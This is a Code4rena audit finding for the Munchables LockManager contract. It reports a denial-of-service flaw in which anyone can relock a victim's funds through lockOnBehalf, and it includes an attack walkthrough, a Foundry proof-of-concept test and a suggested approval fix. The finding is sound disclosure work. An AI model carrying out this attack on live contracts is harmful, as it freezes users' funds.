Platform: Code4rena
Start Date: 22/05/2024
Pot Size: $20,000 USDC
Total HM: 6
Participants: 126
Period: 5 days
Judge: 0xsomeone
Total Solo HM: 1
Id: 379
League: ETH
Rank: 75/126
Findings: 1
Award: $0.01
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Circolors
Also found by: 0rpse, 0x175, 0xAadi, 0xHash, 0xMax1mus, 0xMosh, 0xblack_bird, 0xdice91, 0xfox, 0xhacksmithh, 0xloscar01, 0xrex, 4rdiii, Audinarey, AvantGard, Bigsam, DPS, Dots, Drynooo, Dudex_2004, Evo, Kaysoft, King_, Limbooo, MrPotatoMagic, PENGUN, Sabit, SovaSlava, SpicyMeatball, TheFabled, Utsav, Varun_05, Walter, adam-idarrha, araj, aslanbek, ayden, bctester, biakia, bigtone, brgltd, carrotsmuggler, cats, crypticdefense, dd0x7e8, dhank, fandonov, fyamf, grearlake, iamandreiski, ilchovski, jasonxiale, joaovwfreire, lanrebayode77, m4ttm, merlinboii, niser93, nnez, octeezy, oxchsyston, pamprikrumplikas, rouhsamad, tedox, trachev, turvy_fuzz, twcctop, yotov721, zhaojohnson
0.0056 USDC - $0.01
https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L381-L384 https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L311-L398 https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L275-L294
This vulnerability allows any user to re-lock another user's already locked funds and prevent access to them. This denial of service (DoS) attack can persist indefinitely as long as the attacker continues to lock small amounts of tokens/ETH repeatedly, thus preventing the victim from unlocking their locked tokens/ETH potentially causing a significant loss of funds as the attack can easily be executed by pretty much any user.
Walkthrough of the attack assuming the lock time is 90 days:
LockManager::lock
.LockManager::lockOnBehalf
.LockManager::unlock
function, but the transaction reverts with ILockManager::TokenStillLockedError
, because the attacker relocked all the funds.For proof of the vulnerability place the following test inside of SpeedRun.t.sol
and run it:
function test_BlockUserFromUnlockingFunds() public { uint256 victimBalance = 100e18; uint256 attackerBalance = 1; uint256 lockTime = 90 days; address victim = makeAddr("victim"); vm.deal(victim, victimBalance); address attacker = makeAddr("attacker"); vm.deal(attacker, attackerBalance); deployContracts(); // register victim and lock ETH vm.startPrank(victim); amp.register(MunchablesCommonLib.Realm(3), address(0)); lm.lock{value: victimBalance}(address(0), victimBalance); lm.setLockDuration(lockTime); // warp by lock time, ETH is now unloackable uint256 unlockTime = block.timestamp + lockTime; vm.warp(unlockTime); vm.stopPrank(); // register attacker and lock insignificant amount of ETH vm.startPrank(attacker); amp.register(MunchablesCommonLib.Realm(3), address(0)); lm.lockOnBehalf{value: attackerBalance}(address(0), attackerBalance, victim); vm.stopPrank(); // try to unlock ETH as the victim // reverts, because ETH was relocked by attacker vm.expectRevert(ILockManager.TokenStillLockedError.selector); vm.prank(victim); lm.unlock(address(0), victimBalance); }
Manual review.
_onBehalfOf
address before allowing anyone to lock tokens on their behalf. This can be achieved by adding an approval step where the _onBehalfOf
address must approve the locking action.DoS
#0 - c4-judge
2024-06-05T12:58:33Z
alex-ppg marked the issue as satisfactory